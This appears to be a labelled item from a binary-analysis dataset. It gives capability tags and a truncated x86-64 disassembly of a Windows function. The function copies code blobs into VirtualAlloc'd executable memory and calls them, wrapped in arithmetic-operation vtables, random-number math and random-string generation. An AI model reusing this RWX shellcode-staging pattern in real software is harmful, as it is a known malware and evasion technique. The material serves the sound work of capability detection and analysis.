Function at 0x140018240
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x54d0]
mov eax, 0x55d0
call fcn.14001e870
sub rsp, rax
movaps xmmword [rsp + 0x55c0], xmm6
movaps xmmword [rsp + 0x55b0], xmm7
movaps xmmword [rsp + 0x55a0], xmm8
movaps xmmword [rsp + 0x5590], xmm9
movaps xmmword [rsp + 0x5580], xmm10
movaps xmmword [rsp + 0x5570], xmm11
movaps xmmword [rsp + 0x5560], xmm12
movaps xmmword [rsp + 0x5550], xmm13
movaps xmmword [rsp + 0x5540], xmm14
movaps xmmword [rsp + 0x5530], xmm15
mov rax, qword [0x140047040]
xor rax, rsp
mov qword [rbp + 0x5420], rax
mov qword [rbp - 0x70], rdx
xor ecx, ecx
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a0], xmm0
lea rax, [rbp + 0x54f8]
movabs r12, 0xff00ff00ff00ff00
mov qword [rbp + 0x3a8], r12
mov qword [rbp + 0x3b0], rax
mov rax, qword [rax]
xor rax, r12
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x90], 0x114
mov dword [rsp + 0x60], ecx
lea rax, [rbp + 0x4c0]
mov qword [rbp + 0x98], rax
movups xmmword [rbp + 0x2f0], xmm0
lea rdi, [rbp + 0x54f8]
mov rsi, r12
mov qword [rbp + 0x2f8], r12
mov qword [rbp + 0x300], rdi
mov rbx, r12
mov qword [rbp + 0x2f0], rbx
mov qword [rdi], rcx
mov r15d, 3
lea r14, [0x14001d340]
lea r13, [0x140000000]
mov rax, qword [0x140049860]
test rax, rax
je 0x1400183a9
nop dword [rax + rax]
cmp rax, r14
je 0x140018396
inc ecx
mov rax, qword [r13 + rcx*8 + 0x49860]
test rax, rax
jne 0x140018380
jmp 0x1400183a9
mov eax, ecx
mov r10, qword [r13 + rax*8 + 0x49ea0]
test r10, r10
jne 0x1400184a4
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
je 0x140018483
mov rax, r14
mov rcx, r10
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400183e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rdi, qword [rbp + 0x300]
mov rsi, qword [rbp + 0x2f8]
mov rbx, qword [rbp + 0x2f0]
mov rax, qword [0x14004a4f0]
mov qword [r13 + rax*8 + 0x49860], r14
mov qword [r13 + rax*8 + 0x49ea0], r10
inc rax
mov qword [0x14004a4f0], rax
lea r9, [rbp + 0x90]
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x98]
lea rcx, [fcn.140032030]
call r10
nop
xor rbx, rsi
mov qword [rbp + 0x2f0], rbx
mov qword [rdi], rbx
mov dword [rbp + 0x4c0], 0x114
mov rbx, qword [sym.imp.KERNEL32.dll_GetVersionExW]
lea rax, [rbp + 0x4c0]
mov qword [rbp + 0xa0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x308], xmm0
lea rsi, [rbp + 0x54f8]
mov r14, r12
mov qword [rbp + 0x310], r12
mov qword [rbp + 0x318], rsi
mov rdi, qword [rsi]
xor rdi, r12
mov qword [rbp + 0x308], rdi
mov qword [rsi], rax
mov ecx, eax
lea r12, [0x14001d140]
mov rax, qword [0x14004b1b0]
test rax, rax
je 0x140018560
cmp rax, r12
je 0x14001854d
inc ecx
mov rax, qword [r13 + rcx*8 + 0x4b1b0]
test rax, rax
jne 0x140018537
jmp 0x140018560
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x49220]
test r8, r8
jne 0x140018654
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140018633
mov rax, r12
mov rcx, r8
mov rdx, r15
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018590
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rsi, qword [rbp + 0x318]
mov r14, qword [rbp + 0x310]
mov rdi, qword [rbp + 0x308]
mov rax, qword [0x14004bb10]
mov qword [r13 + rax*8 + 0x4b1b0], r12
mov qword [r13 + rax*8 + 0x49220], r8
inc rax
mov qword [0x14004bb10], rax
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call r8
nop
xor rdi, r14
mov qword [rbp + 0x308], rdi
mov qword [rsi], rdi
call fcn.14001e01c
mov dword [rbp + 0x1964], 0xffffffff
mov dword [rbp + 0x5e4], eax
mov esi, 1
mov edx, esi
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x5e4], eax
inc rdx
cmp rdx, 0x270
jb 0x140018690
mov dword [rbp + 0x5e0], 0x270
mov dword [rbp + 0x240], 0xffffff9c
mov dword [rbp + 0x244], 0x64
movsd xmm14, qword [0x14003ded0]
xor r15d, r15d
mov dword [rsp + 0x20], r15d
xorps xmm8, xmm8
movsd qword [rsp + 0x28], xmm8
call fcn.14001dff0
mov rbx, rax
call fcn.14001dfd4
mov rcx, rax
movabs r14, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x140018715
imul rax, rcx, 0x64
jmp 0x140018784
cmp rbx, 0x16e3600
jne 0x140018769
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140018784
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + 0x5f5e100]
mov qword [rsp + 0x38], rdi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
mov qword [rbp + 0x230], r15
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov rbx, r15
mov qword [rbp + 0xa8], rbx
mov qword [rbp - 0x60], rax
mov rdx, qword [rbp + 0x228]
cmp rdx, qword [rbp + 0x230]
je 0x1400187ec
mov qword [rbp - 0x60], r15
mov qword [rdx], rax
add qword [rbp + 0x228], 8
mov rbx, qword [rbp + 0xa8]
jmp 0x1400187fd
lea r8, [rbp - 0x60]
lea rcx, [rbp + 0x220]
call fcn.14001d5d0
nop
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x14001880e
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x14001881d
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov rbx, r15
mov qword [rbp + 0xb0], rbx
mov qword [rbp - 0x58], rax
mov rdx, qword [rbp + 0x228]
cmp rdx, qword [rbp + 0x230]
je 0x140018867
mov qword [rbp - 0x58], r15
mov qword [rdx], rax
add qword [rbp + 0x228], 8
mov rbx, qword [rbp + 0xb0]
jmp 0x140018878
lea r8, [rbp - 0x58]
lea rcx, [rbp + 0x220]
call fcn.14001d5d0
nop
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140018889
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x140018898
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov rbx, r15
mov qword [rbp + 0xb8], rbx
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp + 0x228]
cmp rdx, qword [rbp + 0x230]
je 0x1400188e2
mov qword [rbp - 0x50], r15
mov qword [rdx], rax
add qword [rbp + 0x228], 8
mov rbx, qword [rbp + 0xb8]
jmp 0x1400188f3
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0x220]
call fcn.14001d5d0
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140018904
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x140018913
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov rbx, r15
mov qword [rbp + 0xc0], rbx
mov qword [rbp - 0x48], rax
mov rdx, qword [rbp + 0x228]
cmp rdx, qword [rbp + 0x230]
je 0x14001895d
mov qword [rbp - 0x48], r15
mov qword [rdx], rax
add qword [rbp + 0x228], 8
mov rbx, qword [rbp + 0xc0]
jmp 0x14001896e
lea r8, [rbp - 0x48]
lea rcx, [rbp + 0x220]
call fcn.14001d5d0
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14001897f
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x14001898e
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov rbx, r15
mov qword [rbp + 0xc8], rbx
mov qword [rbp - 0x40], rax
mov rdx, qword [rbp + 0x228]
cmp rdx, qword [rbp + 0x230]
je 0x1400189d8
mov qword [rbp - 0x40], r15
mov qword [rdx], rax
add qword [rbp + 0x228], 8
mov rbx, qword [rbp + 0xc8]
jmp 0x1400189e9
lea r8, [rbp - 0x40]
lea rcx, [rbp + 0x220]
call fcn.14001d5d0
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1400189fa
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x140018a09
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov rbx, r15
mov qword [rbp + 0xd0], rbx
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp + 0x228]
cmp rdx, qword [rbp + 0x230]
je 0x140018a53
mov qword [rbp - 0x38], r15
mov qword [rdx], rax
add qword [rbp + 0x228], 8
mov rbx, qword [rbp + 0xd0]
jmp 0x140018a64
lea r8, [rbp - 0x38]
lea rcx, [rbp + 0x220]
call fcn.14001d5d0
nop
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140018a75
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x140018a84
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
movsd xmm15, qword [0x14003df40]
movsd xmm12, qword [0x14003dea8]
movsd xmm9, qword [0x14003dec8]
movsd xmm13, qword [0x14003dec0]
movsd xmm6, qword [0x14003deb0]
call fcn.14001dff0
mov rbx, rax
call fcn.14001dfd4
mov rcx, rax
cmp rbx, 0x989680
jne 0x140018acf
imul rax, rcx, 0x64
jmp 0x140018b3e
cmp rbx, 0x16e3600
jne 0x140018b23
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140018b3e
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x140019638
mov dword [rsp + 0x34], r15d
nop dword [rax]
mov r15d, dword [rbp + 0x240]
btc r15d, 0x1f
mov dword [rsp + 0x40], r15d
mov r13d, dword [rbp + 0x244]
btc r13d, 0x1f
sub r13d, r15d
lea rcx, [rbp + 0x5e0]
cmp r13d, 0xffffffff
jne 0x140018b9c
call fcn.14001db90
lea esi, [r13 + 1]
mov r14d, r15d
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
jmp 0x140018c37
lea ebx, [r13 + 1]
call fcn.14001db90
mov r14d, ebx
mov ecx, eax
imul rcx, r14
mov eax, ebx
cmp ecx, ebx
jae 0x140018bda
neg eax
xor edx, edx
div ebx
mov esi, edx
mov eax, ebx
cmp ecx, edx
jae 0x140018bda
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x140018bc2
jmp 0x140018bdc
mov ebx, eax
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov edx, ebx
mov qword [rsp + 0x50], rdx
mov ecx, eax
imul rcx, rdx
mov esi, ebx
mov r14d, r15d
cmp ecx, ebx
jae 0x140018c2e
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov r12d, edx
cmp ecx, edx
jae 0x140018c2e
mov rdi, qword [rsp + 0x50]
mov r14d, r15d
mov esi, ebx
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rcx, rdi
cmp ecx, r12d
jb 0x140018c12
shr rcx, 0x20
mov r15d, dword [rsp + 0x40]
lea eax, [rcx + r14]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x228]
mov r8, qword [rbp + 0x220]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r12, qword [r8 + rax*8]
mov rax, qword [r12]
mov rbx, qword [rax + 8]
mov qword [rsp + 0x48], rbx
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
cmp r13d, 0xffffffff
jne 0x140018c87
mov ecx, eax
jmp 0x140018cc1
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x140018cbd
mov eax, esi
neg eax
xor edx, edx
div esi
mov ebx, edx
cmp ecx, edx
jae 0x140018cb8
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x140018ca2
mov rbx, qword [rsp + 0x48]
shr rcx, 0x20
lea r8d, [rcx + r15]
btc r8d, 0x1f
mov edx, dword [rsp + 0x20]
mov rcx, r12
call rbx
mov dword [rsp + 0x20], eax
movaps xmm10, xmm8
movaps xmm1, xmm12
mov ebx, 2
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm10, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x140018ce4
divsd xmm10, xmm1
mulsd xmm10, xmm13
addsd xmm10, xmm14
movaps xmm11, xmm8
movaps xmm1, xmm12
mov ebx, 2
nop
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x140018d30
divsd xmm11, xmm1
mulsd xmm11, xmm13
addsd xmm11, xmm14
movaps xmm0, xmm11
andps xmm0, xmm15
addsd xmm0, xmm12
call fcn.14002ee60
movaps xmm7, xmm0
movaps xmm0, xmm10
call fcn.14002e4e0
movaps xmm6, xmm0
movaps xmm0, xmm11
call fcn.140030a30
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm10
call fcn.14002ea60
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x28]
movsd qword [rsp + 0x28], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm12
mov ebx, 2
nop word [rax + rax]
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140018dd0
divsd xmm0, xmm2
mulsd xmm0, xmm13
addsd xmm0, xmm14
movsd xmm6, qword [0x14003deb0]
movaps xmm1, xmm6
call fcn.14002f390
movsd xmm1, qword [rsp + 0x28]
subsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm12
mov ebx, 2
nop dword [rax]
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140018e40
divsd xmm0, xmm2
mulsd xmm0, xmm13
addsd xmm0, xmm14
call fcn.140030fa0
movsd xmm1, qword [rsp + 0x28]
mulsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x338], xmm0
xor r13d, r13d
mov ecx, 0x40
call fcn.14001e6e8
mov rcx, rax
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x348], 0x3f
mov qword [rbp + 0x350], 0x3f
movups xmm0, xmmword [str.reached_the_winning_Apaches_by_Police_variant_Albums_the_acetic]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14003db70]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x14003db80]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x14003db90]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x14003db98]
mov dword [rcx + 0x38], eax
movzx eax, word [0x14003db9c]
mov word [rcx + 0x3c], ax
movzx eax, byte [0x14003db9e]
mov byte [rcx + 0x3e], al
mov byte [rcx + 0x3f], r13b
lea rbx, [rbp + 0x338]
cmp qword [rbp + 0x350], 0xf
cmova rbx, qword [rbp + 0x338]
lea rcx, [rbp + 0x338]
cmova rcx, qword [rbp + 0x338]
mov rsi, qword [rbp + 0x348]
add rsi, rcx
cmp rbx, rsi
je 0x140018f97
nop dword [rax]
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x140018f87
nop word [rax + rax]
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x140018f70
shr rax, 0x20
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rsi
jne 0x140018f50
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x270], xmm1
mov qword [rbp + 0x280], r13
mov ecx, 0x190
call fcn.14001e6e8
mov qword [rbp + 0x270], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x280], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call fcn.140032030
mov qword [rbp + 0x278], r14
lea rax, [rbp + 0x240]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x5e0]
mov qword [rbp + 0x198], rax
movaps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rsp + 0x50], xmm0
mov rsi, qword [rbp + 0x270]
cmp rsi, r14
je 0x140019044
mov rbx, qword [rsp + 0x58]
mov r15, qword [rsp + 0x50]
nop
mov rdx, rbx
mov rcx, r15
call fcn.14001ccd0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140019020
mov r14, qword [rbp + 0x278]
mov rsi, qword [rbp + 0x270]
mov dword [rbp + 0x378], 0xffffff9c
mov dword [rbp + 0x37c], 0x64
lea rax, [rbp + 0x378]
mov qword [rbp + 0x1a0], rax
lea rax, [rbp + 0x5e0]
mov qword [rbp + 0x1a8], rax
movaps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rsp + 0x50], xmm0
cmp rsi, r14
je 0x1400190b8
mov r15, qword [rsp + 0x58]
mov r12, qword [rsp + 0x50]
mov ebx, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.14001ccd0
add eax, ebx
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140019090
mov r14, qword [rbp + 0x278]
mov rsi, qword [rbp + 0x270]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.14001d8c0
mov edx, r13d
mov rax, qword [rbp + 0x270]
mov r8, r13
mov r9, qword [rbp + 0x278]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r13
test rcx, rcx
je 0x140019150
cmp rcx, 8
jb 0x140019150
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm2, xmm0
add rax, 0x20
add r8, 8
cmp r8, rcx
jne 0x140019110
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd edx, xmm1
cmp rax, r9
je 0x140019160
add edx, dword [rax]
add rax, 4
cmp rax, r9
jne 0x140019155
mov eax, dword [rsp + 0x20]
add eax, edx
mov dword [rsp + 0x20], eax
mov esi, dword [rbp + 0x240]
btc esi, 0x1f
mov r12d, dword [rbp + 0x244]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x5e0]
cmp r12d, 0xffffffff
jne 0x1400191b1
call fcn.14001db90
lea ebx, [rsi + rax]
xor ebx, 0x80000000
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
jmp 0x140019261
inc r12d
call fcn.14001db90
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x1400191f6
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov ebx, edx
cmp ecx, edx
jae 0x1400191f6
nop word [rax + rax]
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x1400191e0
shr rcx, 0x20
lea r14d, [rsi + rcx]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov ebx, r14d
cmp ecx, r12d
jae 0x14001925d
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x14001925d
nop word [rax + rax]
mov esi, r15d
mov ebx, r14d
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x140019240
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, ebx
test ebx, ebx
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov dword [rsp + 0x20], ecx
mov eax, dword [rsp + 0x20]
mov r14d, dword [rbp + 0x240]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x244]
lea rcx, [rbp + 0x5e0]
jne 0x140019329
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x1400192d4
call fcn.14001db90
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x20]
add eax, ecx
jmp 0x140019387
lea ebx, [rax + 1]
call fcn.14001db90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140019316
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140019316
nop word [rax + rax]
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140019300
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x20]
add eax, ecx
jmp 0x140019387
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14001933e
call fcn.14001db90
mov ecx, eax
jmp 0x14001937a
lea ebx, [rax + 1]
call fcn.14001db90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140019376
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140019376
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140019360
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x20]
sub eax, ecx
mov dword [rsp + 0x20], eax
mov r12d, dword [rbp + 0x240]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp + 0x244]
btc r15d, 0x1f
sub r15d, r12d
xor edi, edi
nop
mov r14d, edi
lea rcx, [rbp + 0x5e0]
cmp r15d, 0xffffffff
jne 0x1400193c9
call fcn.14001db90
mov ecx, eax
jmp 0x14001940a
lea ebx, [r15 + 1]
call fcn.14001db90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140019406
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140019406
nop dword [rax]
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x1400193f0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
movaps xmm1, xmm8
movaps xmm2, xmm12
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140019430
divsd xmm1, xmm2
mulsd xmm1, xmm13
addsd xmm1, xmm14
addsd xmm1, qword [rsp + 0x28]
movsd qword [rsp + 0x28], xmm1
test r14b, 1
jne 0x1400194ee
lea rcx, [rbp + 0x5e0]
cmp r15d, 0xffffffff
jne 0x140019494
call fcn.14001db90
mov ecx, eax
jmp 0x1400194da
lea ebx, [r15 + 1]
call fcn.14001db90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x1400194d6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1400194d6
nop word [rax + rax]
lea rcx, [rbp + 0x5e0]
call fcn.14001db90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x1400194c0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x20]
imul eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x140019551
movaps xmm1, xmm8
movaps xmm2, xmm12
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x5e0]
